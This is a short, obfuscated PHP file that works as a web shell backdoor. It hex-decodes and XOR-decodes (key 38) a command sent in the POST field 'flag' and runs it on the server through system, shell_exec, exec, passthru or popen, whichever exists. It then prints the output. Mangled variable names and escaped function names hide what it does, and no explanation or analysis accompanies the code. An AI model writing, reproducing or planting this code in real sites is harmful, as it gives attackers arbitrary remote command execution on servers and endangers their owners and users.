<?php 
//<PHPDATA>cmd_xor;38;flag</PHPDATA>
$_�Ô���="pcl\x6fse";$_�˽�ƕ�="syst\145m";$_ʯĤ�݇��="exe\x63";$_���ی͊��="pas\163thru";$_�ߥ�ٽ���="\160\x6f\x70en";$_��ާ�="s\x74ream_get_co\x6et\145nts";$_̰ר�ȶ�="hex\x32bin";$_��ʋѩ�ڄ�="shel\154_\x65xe\x63";if(isset($_POST["fl\141g"])):function _������($_��ڀ��,$_��۔����){$_���ݘ�="";foreach(StR_split($_��ڀ��) as$_�ƄɈ��Ԍ):$_���ݘ�.=cHR(oRd($_�ƄɈ��Ԍ)^$_��۔����);endforeach;return$_���ݘ�;}$_į����=$_̰ר�ȶ�($_POST["fl\141g"]);$_į����=_������($_į����,(int)rOund(19+19));if(fuNcTIoN_exISTs($_�˽�ƕ�)):$_�˽�ƕ�($_į����);elseif(funCtION_eXIStS($_��ʋѩ�ڄ�)):print$_��ʋѩ�ڄ�($_į����);elseif(FUnCtIOn_exisTs($_ʯĤ�݇��)):$_ʯĤ�݇��($_į����,$_��Ӱޏ�);print joIN("\012",$_��Ӱޏ�);elseif(FunctION_eXIsTs($_���ی͊��)):$_���ی͊��($_į����);elseif(FUnCtIoN_exIsTS($_�ߥ�ٽ���)&&FuNctiOn_eXISTS($_��ާ�)&&fUNCTIoN_EXIstS($_�Ô���)):$_��ר����=$_�ߥ�ٽ���($_į����,"\x72");if($_��ר����):$_��ޕ�����=$_��ާ�($_��ר����);$_�Ô���($_��ר����);print$_��ޕ�����;endif;endif;exit;endif;